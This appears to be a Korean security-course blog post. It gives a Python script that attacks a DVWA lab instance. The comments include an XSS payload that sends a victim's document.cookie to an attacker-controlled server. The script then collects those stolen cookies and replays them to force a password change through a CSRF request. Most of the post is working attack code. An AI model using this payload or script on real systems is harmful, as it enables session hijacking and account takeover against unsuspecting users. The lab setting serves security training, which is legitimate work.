CSRF 취약점 진단

2020. 4. 22. 17:18정보보안과정/웹 페이지 취약점 진단

#!/usr/bin/env /usr/bin/python3

# ======================================================================
# 선수작업 1(linux200)
# ======================================================================
# (1) 공격자는 xss.php 파일을 linux200 서버의 /var/www/html/xss 디렉토리에 생성하고
#     적당한 권한을 준 이후에 웹서비스를 기동한다.
#     (EX) # cd /var/www/html; mkdir -p xss; chmod 777 xss; chown apache:apache xss; service httpd restart
#     (EX) # cat /var/www/html/xss/xss.php
#       

# ======================================================================
# 선수 작업 2(DVWA WEB 관리자)
# ======================================================================
# (1) 관리자는 firefox 이용하여 DVWA 웹서버에 로그인(admin/password)한다.
# (2) Security Level을 low로 맞춘다.
# (3) 그리고 XSS_reflected 선택하고 다음과 같은 구문을 실행한다.     

#     <script language="JavaScript">
#     window.location="http://192.168.10.200/xss.php?"+document.cookie;
#     </script>     
# (4) linux200:/var/www/html/xss/log.txt 파일이 존재하고 내용이 있는지 확인한다.


# ===============================================
# (0) Module Import & Proxies & Banner
# ===============================================
# (0-1) Module Import List
import sys
import re
import time
import requests
from bs4 import BeautifulSoup

# (0-2) Burpsuite Proxy
# http  : 'http://127.0.0.1:9000'
# https : 'https://127.0.0.1:9000'
# (0-3) Banner Message


def print_banner():
    banner_message = """
------------------------------------------------
Remote Execution Vulnerable Check & Exploit Code
                           Write by sh4d0wh4ckEr
------------------------------------------------                           
"""
    print(banner_message)


print_banner()


# ==============================================================
# (1) log.txt 파일 존재 유무 확인
# ==============================================================
linux200_logfile_url = 'http://192.168.10.200/xss/log.txt'
while True:
    try:
        print("[ INFO ] log.txt 파일이 존재하는지 확인합니다.")
        resp = requests.get(linux200_logfile_url)
        if resp.status_code == 404:
            print("[ WARN ] " + time.asctime() + " : log.txt 파일이 존재하지 않습니다.")
            time.sleep(5)
            continue
        else:
            break
    except KeyboardInterrupt:
        sys.exit(2)


# ==============================================================
# (2) HTTP response(log.txt)에서 cookie 값 추출
# ==============================================================
# (2-1) 로그 파일 내용 중 cookie 부분을 축출
# (2-2) %20 문자를 삭제
# (2-3) ';' 문자를 기준으로 list로 변환
# (2-4) 결과를 저장할 list에 cookie 각각의 값을 넣기
soup = BeautifulSoup(resp.text, 'lxml')
find_cookie = soup.p.string.split('?')[1]
find_cookie2 = find_cookie.replace("%20", "")
find_cookie2_list = find_cookie2.split(';')
find_cookie2_list_result = []
for i in find_cookie2_list:
    find_cookie2_list_result.append(i.rstrip().split("="))
csrf_cookies = dict(find_cookie2_list_result)
print("[ INFO ] 쿠키 값이 축출 되었습니다.")


# ==============================================================
# (3) CSRF Attack
# ==============================================================
# - HTTP Method : GET
# - http://192.168.10.134/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
csrf_url = 'http://192.168.10.134/dvwa/vulnerabilities/csrf/?'
csrf_params = {'password_new': 'password', 'password_conf': 'password', 'Change': 'Change#'}
resp = requests.get(csrf_url, params=csrf_params, cookies=csrf_cookies)

soup = BeautifulSoup(resp.text, 'lxml')
FIND_MESS = soup.pre.string
OK_MESS = 'Password Changed'
# FAIL_MESS = 'Passwords did not match.'

if re.search(OK_MESS, FIND_MESS):
    print("[  OK  ] CSRF Attack 성공하였습니다.")
    sys.exit(0)
else:
    print("[ FAIL ] CSRF Attack 실패하였습니다.")
    sys.exit(2)